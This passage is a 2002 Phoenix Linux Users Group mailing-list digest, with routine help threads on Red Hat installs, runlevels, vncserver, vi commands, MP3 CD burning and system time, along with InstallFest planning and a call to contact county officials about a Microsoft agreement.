plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Fri, 14 Jun 2002 19:12:46 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020614231245.SJNE3097.lakemtao02.cox.net@smtp.east.cox.net> Thanks, I was able to conn a friend into downloading and burning a set for me. However, once installed on my Dell Inspiron 3000 I cannot activate eth0. I think it may be a pcmcia issue (my card ethernet card is pcmcia and not built in). I get a message on bootup for the pcmcia that says something like "ds sockets not available", but the pcmcia service is running and I do get an OK after the message. When I try to configure the network I cannot activate eth0. I am reduced to checking email at the library! If you have any suggestions, please let me know. It may take a few days for me to respond, however. Thanks again! Mark > > From: "slr" > Date: 2002/06/12 Wed PM 04:53:36 EDT > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Redhat 7.3 CDs > > if you have bandwidth and a burner, i have all 3 valhalla-i386 iso's. you can > email me off list and i will give you the info you'll need. > > slr > > On Tuesday 11 June 2002 01:23 pm, Mark Phillips wrote: > > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop > > was stolen and I need to rebuild an old laptop with 7.3 for a project I am > > working on. > > > > I know the install fest is coming up (I had intended upgrading this old > > machine then, but the loss of my work computer has accelerated my need!). > > > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to > > install 7.1 from the CDs the install failed. I am hoping 7.3 will work > > better. > > > > I live in Scottsdale if there is someone close by, but I am willing to > > drive across the valley get this machine up and running to back to work! > > > > Thanks! > > > > Mark > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:29:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Fri, 14 Jun 2002 16:29:41 -0700 Subject: Switching from ASP to JSP/PHP References: <4A8DFDA6B395D411A11B00508BEE23FE76B4C0@mail.int.fh.org> Message-ID: <007701c213fb$5b8c8510$6501a8c0@devlap1> JSP is fairly similar to ASP - you can use request and response objects in both. JSP utilizes a more featured language - java, so you have good room to grow. J2EE also has servlets and EJB technology as you scale up. Our team migrated from ASP to JSP over the last few years without much of a problem. I have only limited experience with PHP and ColdFusion, so my advice is of no use to you there... Let me know if you need any recommendations for a J2EE server if you go that route.... Good Luck ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Friday, June 14, 2002 2:16 PM Subject: RE: Switching from ASP to JSP/PHP > Make that last sentence 'Which is easier to learn JSP or PHP for someone with a basis in ASP? " > > -----Original Message----- > From: Tom Achtenberg [mailto:toma@fh.org] > Sent: Friday, June 14, 2002 2:05 PM > To: 'PLUG Email list' > Subject: Switching from ASP to JSP/PHP > > > Just wondering if any of you have any experience in switching from using ASP pages on SQL Server to using either JSP or PHP on Apache with PostgreSQL? Would it be better to just keep the ASP and use something like ChiliSoft on the Apache? Which is easier to learn JSP or ASP for someone with a basis in ASP? > > Tom Achtenberg > Developer, Information Technologies > Food for the Hungry / US > (480) 609-7750 (voice) > (480) 443-1420 (fax) > TomA@fh.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 23:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 14 Jun 2002 16:48:54 -0700 Subject: Quick references References: Message-ID: <3D0A80E6.77590ED2@leml.asu.edu> Matt Alexander wrote: > > Very cool... It would be really beneficial if we had quick sheets like > this to hand out to everyone at the InstallFest. We definitely should > have one on basic Linux commands, and one for vim would be great too > (although I'm more inclined to show them "pico" at first). > I'll make a list of common Linux commands and print out about 100 or so > for the InstallFest. If anyone else wants to put together a list of > commands for other commonly used Linux programs, that'd be great too. > ~M > > On Fri, 14 Jun 2002, William Lindley wrote: > > > I put this together for vi -- > > > > http://www.wlindley.com/gnu/vi.htm somewhere I remember seeing similar that was printed out on a folding sheet that was buisiness card size... I remember being able to put microprocessor assembly instruction quick refrence guides in my pocket... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 00:14:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Fri, 14 Jun 2002 17:14:07 -0700 Subject: Questions References: Message-ID: <002601c21401$9125eda0$6501a8c0@drghastly> Ok, i've look at the man page and tried editing the file, but it will not allow me to save it. I also cannot switch to the command line desktop because KDE GNOME and TWM are the only options....soo.? Not sure where to go from here ----- Original Message ----- From: "Matt Alexander" To: Sent: Thursday, June 13, 2002 6:53 PM Subject: Re: Questions > On Thu, 13 Jun 2002, Dr.G wrote: > > > I assume by runlevel3 you mean my level of access? <----Noob. > > When your system boots up it consults /etc/inittab to find the default > runlevel. Your inittab most likely has this line: > > id:5:initdefault: > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > aliases to the scripts that will be executed at this runlevel. You'll > also see a line like this: > > x:5:respawn:/etc/X11/prefdm -nodaemon > > This line tells your box to run the X Window System at runlevel 5. You'll > also see other lines for tty's, etc. So, by changing to runlevel 3, > you're exiting out of the GUI environment. If you wanted to run your box > without the GUI, you could change the initdefault to 3 and always boot to > a console (I do this for all of my servers). Level 6 means reboot, so if > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > Init 1 is single-user mode. The other runlevels can be defined for > whatever purpose you'd like. > > Consult the inittab manpage for more detail. > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 00:56:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Astrauskas) Date: Fri, 14 Jun 2002 17:56:40 -0700 (PDT) Subject: vncserver Message-ID: <20020615005640.93691.qmail@web11501.mail.yahoo.com> This is just a quick question: How do I tell vncserver which window manager to use? I've tried editing the following files with no luck: /etc/vnc.conf ~/.vnc/xstartup ~/.vncrc I have done it before, but now that I need to do it again, I cannot figure it out. Anyone know where I need to tell it? -A.P. Etc __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:13:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 18:13:21 -0700 (PDT) Subject: Possible Fry's sponsorship? Message-ID: I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see if they'd be interested in contributing to the InstallFest. I'm mostly interested in getting as many of the Linux quicksheets that they sell as possible. But maybe they could donate books or Linux distros or whatever else. So, what has PLUG been offering to other businesses that are contributing? I'd like to go in and be able to say exactly what we can offer them in return. I'm guessing that other contributors are going to have signs up and other forms of advertising for their business? Anything else we're doing to recognize sponsors, etc.? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:15:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:15:42 -0400 Subject: Date??? References: <1024068299.29445.63.camel@hawk> Message-ID: <3D0A953E.81A1AFE6@georgetoft.com> This thread does not discuss how to save the time to CMOS, so the problem will return next reboot. Look at hwclock --systohc George Carl Parrish wrote: > > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:10:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:10:49 -0400 Subject: Questions References: <002601c21401$9125eda0$6501a8c0@drghastly> Message-ID: <3D0A9419.281A17B7@georgetoft.com> Make sure you are root when you edit it. George "Dr.G" wrote: > > Ok, i've look at the man page and tried editing the file, but it will not > allow me to save it. I also cannot switch to the command line desktop > because KDE GNOME and TWM are the only options....soo.? Not sure where to go > from here > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Thursday, June 13, 2002 6:53 PM > Subject: Re: Questions > > > On Thu, 13 Jun 2002, Dr.G wrote: > > > > > I assume by runlevel3 you mean my level of access? <----Noob. > > > > When your system boots up it consults /etc/inittab to find the default > > runlevel. Your inittab most likely has this line: > > > > id:5:initdefault: > > > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > > aliases to the scripts that will be executed at this runlevel. You'll > > also see a line like this: > > > > x:5:respawn:/etc/X11/prefdm -nodaemon > > > > This line tells your box to run the X Window System at runlevel 5. You'll > > also see other lines for tty's, etc. So, by changing to runlevel 3, > > you're exiting out of the GUI environment. If you wanted to run your box > > without the GUI, you could change the initdefault to 3 and always boot to > > a console (I do this for all of my servers). Level 6 means reboot, so if > > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > > Init 1 is single-user mode. The other runlevels can be defined for > > whatever purpose you'd like. > > > > Consult the inittab manpage for more detail. > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:17:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 14 Jun 2002 18:17:34 -0700 (PDT) Subject: Questions In-Reply-To: <002601c21401$9125eda0$6501a8c0@drghastly> Message-ID: You'll need to be root to save your changes. Within KDE, Gnome, or TWM, there should be a "console" program that you can use to work at the command line. In KDE, you can access Konsole by going through the K menu, then System, then Konsole. Next, you'll need to change to the root user. You can use the "su" command to do this. Type su on the command line and then enter the password for root. ~M On Fri, 14 Jun 2002, Dr.G wrote: > Ok, i've look at the man page and tried editing the file, but it will not > allow me to save it. I also cannot switch to the command line desktop > because KDE GNOME and TWM are the only options....soo.? Not sure where to go > from here > > > > ----- Original Message ----- > From: "Matt Alexander" > To: > Sent: Thursday, June 13, 2002 6:53 PM > Subject: Re: Questions > > > > On Thu, 13 Jun 2002, Dr.G wrote: > > > > > I assume by runlevel3 you mean my level of access? <----Noob. > > > > When your system boots up it consults /etc/inittab to find the default > > runlevel. Your inittab most likely has this line: > > > > id:5:initdefault: > > > > This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains > > aliases to the scripts that will be executed at this runlevel. You'll > > also see a line like this: > > > > x:5:respawn:/etc/X11/prefdm -nodaemon > > > > This line tells your box to run the X Window System at runlevel 5. You'll > > also see other lines for tty's, etc. So, by changing to runlevel 3, > > you're exiting out of the GUI environment. If you wanted to run your box > > without the GUI, you could change the initdefault to 3 and always boot to > > a console (I do this for all of my servers). Level 6 means reboot, so if > > you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. > > Init 1 is single-user mode. The other runlevels can be defined for > > whatever purpose you'd like. > > > > Consult the inittab manpage for more detail. > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:21:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 14 Jun 2002 18:21:57 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: References: Message-ID: <200206141821.58034.jon@unfm00.com> thats a great idea... How many people are expected to show up? On Friday 14 June 2002 18:13, Matt Alexander wrote: > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > if they'd be interested in contributing to the InstallFest. I'm mostly > interested in getting as many of the Linux quicksheets that they sell as > possible. But maybe they could donate books or Linux distros or whatever > else. So, what has PLUG been offering to other businesses that are > contributing? I'd like to go in and be able to say exactly what we can > offer them in return. I'm guessing that other contributors are going to > have signs up and other forms of advertising for their business? Anything > else we're doing to recognize sponsors, etc.? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 01:27:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 14 Jun 2002 21:27:18 -0400 Subject: Quick references References: Message-ID: <3D0A97F6.9FF445C0@georgetoft.com> You missed two commands I use A LOT: C (whack off the line and insert) and ^G (WTF am I?) When is page two coming out which shows the : commands, like search & replace, block copy, block move, etc? Then you need the Palm Pilot note version. I have one that was very popular at the last Unix shop I was at. Here's my Palm version: vi Tips - Search and replace: :,s///g :s/this/that/g - Moving text: :,m :1,2m5 - Copying text: :,co :1,2co5 - Delete line that contains "string" :,g/string/d - Delete line that does not contain "string" :,v/string/d Ranges: $ = last line . = current line ___________________ Cursor Movement G = end of file $ = end of line Interact with Unix - Execute the command "pwd" on unix and return to vi :!pwd - Execute the command "pwd" on unix and capture the output into the file being edited !!pwd - Exit out of the file being edited into unix temporarily :sh Read / Write from another file - Write lines 1 through 10 from the current file to outfile :1,10 w outfile - Write lines 1 through 10 from the current file to outfile forcefully :1,10 w! outfile - Append lines 1 through 10 from the current file to outfile :1,10 w >> outfile - Read from infile to the current file below current line :r infile - Read from infile to the current file below line 23 of current file :23r infile Misc - Set line numbers to visible :set num George William Lindley wrote: > > I put this together for vi -- > > http://www.wlindley.com/gnu/vi.htm > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:39:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 14 Jun 2002 08:39:47 -0700 Subject: mp3 In-Reply-To: <1024068440.29657.68.camel@hawk> Message-ID: <200206141540.LAA30724@hostinworld6.com> An MP3CD is (as it took me two years to figure out) a data cd w/mp3 files on it (as data, not audio) and a m3u playlist with those files in it. Good luck. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > seems to only want to burn .wav formats (I may be missing a setting). > And cdrecord is giving me an error. I want to start playing with my DVD > / mp3 player. Only I don't have any disc actually burned with mp3s. So > any help here? > > Carl P. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 03:45:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 14 Jun 2002 20:45:43 -0700 Subject: install fest suggestion In-Reply-To: References: Message-ID: <200206142045.43128.jon@unfm00.com> How many people do we have working the Debian table? If I can get off of work on Sat., I would love to participate. Are we going to have access to the network/internet? jon unfm00.com On Friday 14 June 2002 14:07, Derek Neighbors wrote: > I dont have the original email but, I recall data doctors saying their > program was innappropriate for disseminating the notion of the GNU\Linux > operating system, because of the 'older' demographic. > > Could someone please pass this article: > http://newsforge.com/article.pl?sid=02/06/12/1731250&tid=19 > > > on to the kind people at data doctors? Just because you are old, doesn't > mean you are dumb nor that you like vendors to treat you like crap. ;) > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 05:15:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Fri, 14 Jun 2002 22:15:22 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: References: Message-ID: <200206142215.23043.alandd@mindspring.com> If you have the ear of the manager, use it! I have been working on getting local sponsors for the Install Fest and getting no where. I have talked to a sub manager at Fry's, more than a month ago. She referred me to the home office in CA, the Community Relations Department. When I finally actually talked to the guy after 3 days of long distance calls of trying, he said he would have to talk to a VP to see about thier participation. I have followed up numerous times since then and either left messages or he says he does not know the answer yet. If you can get in, do it. As to what we are offering: -A complete table display, a "booth" so to speak, if they want it. -Banner space. -Ad distribuiton. -Mention on the Install Fest web site. -Verbal thanks as we give/use/display whatever they contribute. -Follow-on thanks on the web site and at meetings. -Whatever else we can reasonably and legally give as exposure. If anyone else has some favorite vendor/store they use and has an ear to bend, use it. We could really use some refreshment donations like soda and stuff. Books, hardware, software a nice chair or anything that can be used/consumed/looked at while using Linux would be just fine! Point them at me if you like or "sign" them up yourself. Just let me or Bill know about what they are going to provide so we can plan for it. Alan On Friday 14 June 2002 06:13 pm, Matt Alexander wrote: > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > if they'd be interested in contributing to the InstallFest. I'm mostly > interested in getting as many of the Linux quicksheets that they sell as > possible. But maybe they could donate books or Linux distros or whatever > else. So, what has PLUG been offering to other businesses that are > contributing? I'd like to go in and be able to say exactly what we can > offer them in return. I'm guessing that other contributors are going to > have signs up and other forms of advertising for their business? Anything > else we're doing to recognize sponsors, etc.? > Thanks, > ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 05:27:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 14 Jun 2002 22:27:48 -0700 (MST) Subject: install fest suggestion In-Reply-To: <200206142045.43128.jon@unfm00.com> Message-ID: On Fri, 14 Jun 2002, Jon K wrote: > How many people do we have working the Debian table? If I can get off of work > on Sat., I would love to participate. Are we going to have access to the > network/internet? Two so far including you, anyone else up for Debian? Yes we will have internet access. \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 07:11:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Sat, 15 Jun 2002 00:11:15 -0700 (MST) Subject: install fest suggestion Message-ID: <20020615071115.8BA3D6927F@mail.ssawyer.org> I will probably be helping a lot at the Red Hat table seeing that's who I work for. I also have a great deal of experience with Debian so I can help wherever. -Scott > On Fri, 14 Jun 2002, Jon K wrote: > > How many people do we have working the Debian table? If I can get off of work > > on Sat., I would love to participate. Are we going to have access to the > > network/internet? > > Two so far including you, anyone else up for Debian? > > Yes we will have internet access. > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- Scott Sawyer Project Manager for Red Hat Inc. Member of LUNA (Linux Users of Northern Arizona View my photo portfolio at http://www.scottsawyer.org From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 08:20:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 15 Jun 2002 01:20:25 -0700 Subject: Quick references References: <3D0A97F6.9FF445C0@georgetoft.com> Message-ID: <3D0AF8C9.DD64DCFF@leml.asu.edu> George Toft wrote: > > You missed two commands I use A LOT: C (whack off the line and insert) > and ^G (WTF am I?) > > ... this got me to thinking... can someone find/make a template for a generic quick reference? Then we can fill in the blank... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 13:25:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 15 Jun 2002 06:25:36 -0700 (MST) Subject: Spread the word -- InstallFest Flyer Message-ID: Friends, I encourage you to print a copy of the InstallFest flyer which is found at http://www.plugpresents.com/installfest/flyer.html ...and hand it to folks, post it at your workplace or school or wherever you can. Spread the word! See you all at Scottsdale Community College on 22 June! \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 13:48:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 09:48:14 -0400 Subject: mp3 References: <200206141540.LAA30724@hostinworld6.com> Message-ID: <3D0B459E.406D71AB@georgetoft.com> I have an MP3CD player that claims it can deal with multiple albums. As it was made for Asia and has a poorly worded and skimpy manual, does anyone know how do make multiple albums? I thought an album was a directory (it supports up to 20 directories 8 levels deep), but that is not the case. It is a Napa DAV316 Portable. George Bryce C wrote: > > An MP3CD is (as it took me two years to figure out) a data cd w/mp3 > files on it (as data, not audio) and a m3u playlist with those files in > it. Good luck. > > -- > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > On 14 Jun 2002 08:27:19 -0700, Carl Parrish wrote: > > Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast > > seems to only want to burn .wav formats (I may be missing a setting). > > And cdrecord is giving me an error. I want to start playing with my DVD > > / mp3 player. Only I don't have any disc actually burned with mp3s. So > > any help here? > > > > Carl P. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:13:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Fri, 14 Jun 2002 14:13:33 -0700 Subject: Possible Fry's sponsorship? In-Reply-To: <200206142215.23043.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> Message-ID: <20020614211333.GA153@crystaldragon> If Fry's won't "join up", give a shot at PC Computer Club on Southern and Alma School (near Fiesta Mall and the B of A building). They're a small enough company that exposure like what we could provide would be the perfect ad campaign. I'd go and ask myself, but my time is rather limited right now. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org On Fri, Jun 14, 2002 at 10:15:22PM -0700, Alan Dayley wrote: > If you have the ear of the manager, use it! I have been working on getting > local sponsors for the Install Fest and getting no where. I have talked to a > sub manager at Fry's, more than a month ago. She referred me to the home > office in CA, the Community Relations Department. When I finally actually > talked to the guy after 3 days of long distance calls of trying, he said he > would have to talk to a VP to see about thier participation. I have followed > up numerous times since then and either left messages or he says he does not > know the answer yet. > > If you can get in, do it. > > As to what we are offering: > -A complete table display, a "booth" so to speak, if they want it. > -Banner space. > -Ad distribuiton. > -Mention on the Install Fest web site. > -Verbal thanks as we give/use/display whatever they contribute. > -Follow-on thanks on the web site and at meetings. > -Whatever else we can reasonably and legally give as exposure. > > If anyone else has some favorite vendor/store they use and has an ear to bend, > use it. We could really use some refreshment donations like soda and stuff. > Books, hardware, software a nice chair or anything that can be > used/consumed/looked at while using Linux would be just fine! Point them at > me if you like or "sign" them up yourself. Just let me or Bill know about > what they are going to provide so we can plan for it. > > Alan > > On Friday 14 June 2002 06:13 pm, Matt Alexander wrote: > > I'll be meeting with the Fry's (on Baseline) store manager tomorrow to see > > if they'd be interested in contributing to the InstallFest. I'm mostly > > interested in getting as many of the Linux quicksheets that they sell as > > possible. But maybe they could donate books or Linux distros or whatever > > else. So, what has PLUG been offering to other businesses that are > > contributing? I'd like to go in and be able to say exactly what we can > > offer them in return. I'm guessing that other contributors are going to > > have signs up and other forms of advertising for their business? Anything > > else we're doing to recognize sponsors, etc.? > > Thanks, > > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:37:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 15 Jun 2002 09:37:14 -0700 Subject: Saving a web site local In-Reply-To: <20020614211333.GA153@crystaldragon> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> Message-ID: <200206150937.14349.alandd@mindspring.com> I want to save a web page and all the pages it links to (about 2 deep) to my local hard drive so I can browse it locally. I don't see this capability in Konqueror or Mozilla. How do I do this? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:39:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 15 Jun 2002 09:39:12 -0700 Subject: Help Maricopa County Do the Right Thing Message-ID: <0206150802011X.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have heard from a "reliable source" that the Maricopa County Council has decided not to automatically sign off on having the county sign an Enterprise Agreement with Microsoft. The source said that people within the county IT organizations made their opinion known that the Enterprise Agreement might not be the best path for the county to blindly follow. Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE contact your Maricopa County district council person and your city council people with some simple questions. a. Ask them if they plan to approve funding for the Enterprise Agreement with the Microsoft Corporation? b. If they do plan to do so, ask them to provide you with a copy of the agreement and the dollar amount to be expended. c. Ask them when they will be hearing from the public on the budget, so if they are adopting an Enterprise Agreement with Microsoft, you can have your voice heard publicly. d. Ask they why do they do business with a vendor that has been convicted of felony wrongdoings. . e. Ask them if they have they considered alternatives to Microsoft products. I dont have city contact information but county contact information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE cWg2GbQ9y1u85/ycX+Ko2+ss =GiK8 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:44:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 15 Jun 2002 09:44:56 -0700 Subject: vncserver In-Reply-To: <20020615005640.93691.qmail@web11501.mail.yahoo.com> References: <20020615005640.93691.qmail@web11501.mail.yahoo.com> Message-ID: <1024159502.12004.18.camel@nabla.phx.viz> xstartup works for me. The last line of mine just states 'twm &', which is admittedly boring but low resource and so is fast for running remotely. You can also login into the remote machine. I comment out the xstartup file completely and run the following: vncserver -depth 8 -geometry 1400x1050 -query -Gordon On Fri, 2002-06-14 at 17:56, Mark Astrauskas wrote: > This is just a quick question: How do I tell vncserver > which window manager to use? I've tried editing the > following files with no luck: > /etc/vnc.conf > ~/.vnc/xstartup > ~/.vncrc > > I have done it before, but now that I need to do it > again, I cannot figure it out. Anyone know where I > need to tell it? > > -A.P. Etc > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 